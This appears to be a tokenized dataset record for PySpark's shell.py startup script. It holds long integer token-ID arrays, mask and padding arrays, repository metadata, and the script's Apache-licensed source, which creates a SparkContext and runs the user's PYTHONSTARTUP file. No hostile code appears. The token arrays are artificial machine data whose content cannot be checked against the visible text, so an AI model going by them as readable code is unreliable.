275, 2748, 1301, 14, 15045, 360, 12874, 48, 42, 5832, 16, 1055, 22262, 14, 17240, 355, 327, 10414, 696, 325, 1292, 1509, 355, 367, 685, 6867, 269, 12, 3966, 275, 481, 2129, 8949, 1858, 685, 6867, 269, 14, 1462, 14, 362, 63, 269, 63, 981, 8, 67, 1590, 74, 29, 67, 1590, 74, 63, 69, 1292, 1509, 9, 355, 367, 685, 6867, 269, 14, 29897, 275, 949, 278, 355, 367, 685, 6867, 269, 14, 2117, 342, 355, 340, 2737, 26, 490, 870, 298, 1858, 685, 6867, 269, 445, 6129, 1554, 47, 26, 450, 83, 2, 450, 367, 685, 6867, 269, 355, 587, 26, 490, 870, 298, 1858, 685, 6867, 269, 655, 14829, 1239, 1117, 26, 450, 83, 2, 450, 367, 685, 6867, 269, 2234, 3141, 275, 2748, 1301, 14, 15045, 360, 2923, 5832, 16, 61, 355, 289, 16200, 275, 3141, 14, 15045, 360, 86, 38, 16200, 5832, 16, 1055, 22262, 14, 17240, 355, 327, 27825, 22066, 653, 5100, 949, 308, 29729, 391, 355, 302, 771, 63, 338, 1597, 391, 12, 3966, 275, 2832, 65, 38, 15734, 14, 1462, 14, 362, 63, 269, 63, 981, 8, 4991, 8949, 63, 509, 685, 6867, 269, 29, 509, 685, 6867, 269, 12, 10330, 293, 29, 344, 78, 771, 9, 355, 302, 771, 63, 338, 1597, 391, 14, 5530, 305, 63, 328, 14895, 305, 275, 289, 16200, 355, 302, 771, 63, 338, 1597, 391, 14, 2117, 342, 355, 327, 4837, 5294, 10559, 561, 12927, 440, 65, 355, 10559, 561, 275, 2748, 1301, 14, 15045, 360, 9886, 358, 355, 367, 1242, 315, 10559, 561, 26, 490, 327, 286, 10641, 1242, 12927, 440, 65, 1396, 490, 512, 28963, 63, 8788, 1283, 275, 1242, 14, 15045, 360, 67, 30966, 5832, 16, 1055, 22262, 14, 17240, 490, 13621, 983, 271, 275, 1242, 14, 15045, 360, 81, 4373, 5832, 16, 1055, 22262, 14, 17240, 490, 1139, 269, 63, 3248, 6936, 275, 1242, 14, 15045, 360, 86, 1358, 4373, 5832, 16, 1055, 22262, 14, 17240, 490, 870, 399, 2, 10439, 26, 450, 83, 2, 450, 512, 28963, 63, 8788, 1283, 490, 870, 399, 2, 2371, 4466, 983, 271, 26, 450, 83, 2, 450, 13621, 983, 271, 490, 870, 399, 2, 7562, 269, 12008, 11302, 322, 79, 26, 450, 83, 2, 450, 1139, 269, 63, 3248, 6936, 490, 327, 1742, 941, 736, 490, 862, 26, 717, 21165, 8848, 63, 530, 706, 275, 2069, 8, 1053, 14, 15045, 360, 80, 948, 3053, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 530, 706, 275, 378, 490, 862, 26, 717, 21165, 8848, 63, 711, 73, 275, 2069, 8, 1053, 14, 15045, 360, 80, 1772, 41, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 711, 73, 275, 378, 490, 862, 26, 717, 21165, 8848, 63, 80, 374, 275, 2069, 8, 1053, 14, 15045, 360, 80, 48, 1311, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 80, 374, 275, 378, 490, 862, 26, 717, 21165, 8848, 63, 331, 2408, 83, 275, 2069, 8, 1053, 14, 15045, 360, 80, 1439, 38, 10789, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 331, 2408, 83, 275, 378, 199, 586, 490, 3141, 63, 3236, 941, 736, 275, 21165, 8848, 63, 711, 73, 435, 21165, 8848, 63, 530, 706, 435, 21165, 8848, 63, 331, 2408, 83, 435, 21165, 8848, 63, 331, 2408, 83, 490, 3141, 63, 3236, 941, 736, 275, 21165, 8848, 63, 711, 73, 490, 870, 298, 7562, 269, 11539, 473, 17834, 26, 450, 83, 2, 450, 21165, 8848, 63, 530, 706, 490, 870, 298, 7562, 269, 11539, 473, 2252, 26, 450, 83, 2, 450, 21165, 8848, 63, 711, 73, 490, 870, 298, 7562, 269, 11539, 445, 3359, 2709, 26 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 22239, 199, 199, 504, 1639, 14, 2828, 14, 8619, 14, 992, 492, 11666, 199, 199, 504, 286, 350, 1810, 293, 14, 992, 492, 445, 344, 9587, 12, 699, 8387, 293, 199, 504, 26006, 14, 992, 492, 481, 324, 9718, 6936, 12, 16532, 79, 2437, 4982, 72, 5129, 12, 445, 16308, 12, 1487, 2064, 14040, 79, 199, 199, 504, 2933, 14, 992, 492, 2876, 199, 199, 504, 8691, 492, 1852, 63, 1422, 199, 646, 747, 12, 7392, 12, 2197, 199, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 2975, 12, 11179, 63, 495, 199, 199, 504, 2748, 14, 4556, 492, 19165, 199, 199, 504, 557, 2033, 696, 79, 14, 992, 492, 481, 2129, 8949, 1858, 685, 6867, 269, 199, 504, 557, 2033, 696, 79, 14, 992, 492, 2832, 65, 38, 15734, 199, 199, 533, 5817, 8, 25150, 304, 272, 1720, 275, 1449, 267, 3161, 65, 2832, 65, 481, 15734, 272, 1449, 272, 1249, 275, 4320, 493, 440, 13030, 4732, 14, 1652, 4589, 272, 945, 63, 513, 275, 22239, 14, 1422, 63, 513, 435, 334, 272, 1852, 63, 1422, 4517, 493, 297, 288, 1595, 534, 1617, 63, 2052, 297, 288, 2053, 534, 285, 783, 2392, 297, 288, 1720, 534, 6295, 65, 399, 391, 440, 65, 18672, 297, 267, 2318, 272, 776, 339, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 601, 783, 2392, 275, 1511, 14, 362, 360, 285, 783, 2392, 358, 267, 340, 1511, 459, 285, 783, 2392, 2565, 288, 289, 275, 1249, 59, 16, 61, 288, 862, 26, 355, 2748, 1301, 275, 19165, 14, 1122, 8, 70, 9, 355, 10739, 46, 5100, 275, 2748, 1301, 14, 15045, 360, 335, 46, 3456, 5832, 16, 61, 355, 1305, 78, 771, 275, 10739, 46, 5100, 14, 22262, 14, 17240, 59, 1081, 26, 1082, 61, 355, 949, 278, 63, 69, 1292, 1509, 275, 2748, 1301, 14, 15045, 360, 31985, 1377, 5832, 16, 61, 355, 949, 278, 275, 949, 278, 63, 69, 1292, 1509, 14, 22262, 14, 17240, 355, 870, 298, 2826, 3635, 3506, 662, 24513, 726, 26, 450, 83, 2, 450, 949, 278, 355, 870, 298, 998, 2845, 33, 481, 1311, 13329, 450, 83, 2, 450, 1305, 78, 771, 355, 325, 1292, 1509, 275, 2748, 1301, 14, 15045, 360, 8159, 5832, 16, 61, 355, 286, 1590, 74, 63, 69, 1292, 1509, 275, 2748, 1301, 14, 15045, 360, 12874, 48, 42, 5832, 16, 1055, 22262, 14, 17240, 355, 327, 10414, 696, 325, 1292, 1509, 355, 367, 685, 6867, 269, 12, 3966, 275, 481, 2129, 8949, 1858, 685, 6867, 269, 14, 1462, 14, 362, 63, 269, 63, 981, 8, 67, 1590, 74, 29, 67, 1590, 74, 63, 69, 1292, 1509, 9, 355, 367, 685, 6867, 269, 14, 29897, 275, 949, 278, 355, 367, 685, 6867, 269, 14, 2117, 342, 355, 340, 2737, 26, 490, 870, 298, 1858, 685, 6867, 269, 445, 6129, 1554, 47, 26, 450, 83, 2, 450, 367, 685, 6867, 269, 355, 587, 26, 490, 870, 298, 1858, 685, 6867, 269, 655, 14829, 1239, 1117, 26, 450, 83, 2, 450, 367, 685, 6867, 269, 2234, 3141, 275, 2748, 1301, 14, 15045, 360, 2923, 5832, 16, 61, 355, 289, 16200, 275, 3141, 14, 15045, 360, 86, 38, 16200, 5832, 16, 1055, 22262, 14, 17240, 355, 327, 27825, 22066, 653, 5100, 949, 308, 29729, 391, 355, 302, 771, 63, 338, 1597, 391, 12, 3966, 275, 2832, 65, 38, 15734, 14, 1462, 14, 362, 63, 269, 63, 981, 8, 4991, 8949, 63, 509, 685, 6867, 269, 29, 509, 685, 6867, 269, 12, 10330, 293, 29, 344, 78, 771, 9, 355, 302, 771, 63, 338, 1597, 391, 14, 5530, 305, 63, 328, 14895, 305, 275, 289, 16200, 355, 302, 771, 63, 338, 1597, 391, 14, 2117, 342, 355, 327, 4837, 5294, 10559, 561, 12927, 440, 65, 355, 10559, 561, 275, 2748, 1301, 14, 15045, 360, 9886, 358, 355, 367, 1242, 315, 10559, 561, 26, 490, 327, 286, 10641, 1242, 12927, 440, 65, 1396, 490, 512, 28963, 63, 8788, 1283, 275, 1242, 14, 15045, 360, 67, 30966, 5832, 16, 1055, 22262, 14, 17240, 490, 13621, 983, 271, 275, 1242, 14, 15045, 360, 81, 4373, 5832, 16, 1055, 22262, 14, 17240, 490, 1139, 269, 63, 3248, 6936, 275, 1242, 14, 15045, 360, 86, 1358, 4373, 5832, 16, 1055, 22262, 14, 17240, 490, 870, 399, 2, 10439, 26, 450, 83, 2, 450, 512, 28963, 63, 8788, 1283, 490, 870, 399, 2, 2371, 4466, 983, 271, 26, 450, 83, 2, 450, 13621, 983, 271, 490, 870, 399, 2, 7562, 269, 12008, 11302, 322, 79, 26, 450, 83, 2, 450, 1139, 269, 63, 3248, 6936, 490, 327, 1742, 941, 736, 490, 862, 26, 717, 21165, 8848, 63, 530, 706, 275, 2069, 8, 1053, 14, 15045, 360, 80, 948, 3053, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 530, 706, 275, 378, 490, 862, 26, 717, 21165, 8848, 63, 711, 73, 275, 2069, 8, 1053, 14, 15045, 360, 80, 1772, 41, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 711, 73, 275, 378, 490, 862, 26, 717, 21165, 8848, 63, 80, 374, 275, 2069, 8, 1053, 14, 15045, 360, 80, 48, 1311, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 80, 374, 275, 378, 490, 862, 26, 717, 21165, 8848, 63, 331, 2408, 83, 275, 2069, 8, 1053, 14, 15045, 360, 80, 1439, 38, 10789, 5832, 16, 1055, 22262, 14, 17240, 9, 490, 871, 26, 717, 21165, 8848, 63, 331, 2408, 83, 275, 378, 199, 586, 490, 3141, 63, 3236, 941, 736, 275, 21165, 8848, 63, 711, 73, 435, 21165, 8848, 63, 530, 706, 435, 21165, 8848, 63, 331, 2408, 83, 435, 21165, 8848, 63, 331, 2408, 83, 490, 3141, 63, 3236, 941, 736, 275, 21165, 8848, 63, 711, 73, 490, 870, 298, 7562, 269, 11539, 473, 17834, 26, 450, 83, 2, 450, 21165, 8848, 63, 530, 706, 490, 870, 298, 7562, 269, 11539, 473, 2252, 26, 450, 83, 2, 450, 21165, 8848, 63, 711, 73, 490, 870, 298, 7562, 269, 11539, 445, 3359, 2709, 26, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rjpower/spark
python/pyspark/shell.py
5
1332
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ An interactive shell. This file is designed to be launched as a PYTHONSTARTUP script. """ import os import pyspark from pyspark.context import SparkContext sc = SparkContext(os.environ.get("MASTER", "local"), "PySparkShell") print "Spark context avaiable as sc." # The ./pyspark script stores the old PYTHONSTARTUP value in OLD_PYTHONSTARTUP, # which allows us to execute the user's PYTHONSTARTUP file: _pythonstartup = os.environ.get('OLD_PYTHONSTARTUP') if _pythonstartup and os.path.isfile(_pythonstartup): execfile(_pythonstartup)
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 624, 199, 2493, 12777, 5218, 14, 199, 199, 2765, 570, 365, 19829, 370, 506, 27725, 465, 282, 18280, 7363, 2160, 2884, 14, 199, 624, 199, 646, 747, 199, 646, 15847, 199, 504, 15847, 14, 1100, 492, 21769, 421, 199, 551, 275, 21769, 8, 736, 14, 2314, 14, 362, 480, 25050, 401, 298, 1832, 1288, 298, 2713, 27110, 8529, 531, 199, 1361, 298, 27110, 1067, 2289, 5789, 461, 465, 4061, 2122, 199, 199, 3, 710, 16605, 28911, 2884, 14086, 314, 2269, 18280, 7363, 2160, 574, 315, 593, 6533, 63, 11720, 7363, 2160, 12, 199, 3, 1314, 6127, 2739, 370, 5341, 314, 922, 1159, 18280, 7363, 2160, 570, 26, 199, 63, 1548, 16480, 275, 747, 14, 2314, 14, 362, 360, 5104, 63, 11720, 7363, 2160, 358, 199, 692, 485, 1548, 16480, 436, 747, 14, 515, 14, 6292, 1547, 1548, 16480, 304, 272, 22711, 1547, 1548, 16480, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 624, 199, 2493, 12777, 5218, 14, 199, 199, 2765, 570, 365, 19829, 370, 506, 27725, 465, 282, 18280, 7363, 2160, 2884, 14, 199, 624, 199, 646, 747, 199, 646, 15847, 199, 504, 15847, 14, 1100, 492, 21769, 421, 199, 551, 275, 21769, 8, 736, 14, 2314, 14, 362, 480, 25050, 401, 298, 1832, 1288, 298, 2713, 27110, 8529, 531, 199, 1361, 298, 27110, 1067, 2289, 5789, 461, 465, 4061, 2122, 199, 199, 3, 710, 16605, 28911, 2884, 14086, 314, 2269, 18280, 7363, 2160, 574, 315, 593, 6533, 63, 11720, 7363, 2160, 12, 199, 3, 1314, 6127, 2739, 370, 5341, 314, 922, 1159, 18280, 7363, 2160, 570, 26, 199, 63, 1548, 16480, 275, 747, 14, 2314, 14, 362, 360, 5104, 63, 11720, 7363, 2160, 358, 199, 692, 485, 1548, 16480, 436, 747, 14, 515, 14, 6292, 1547, 1548, 16480, 304, 272, 22711, 1547, 1548, 16480, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
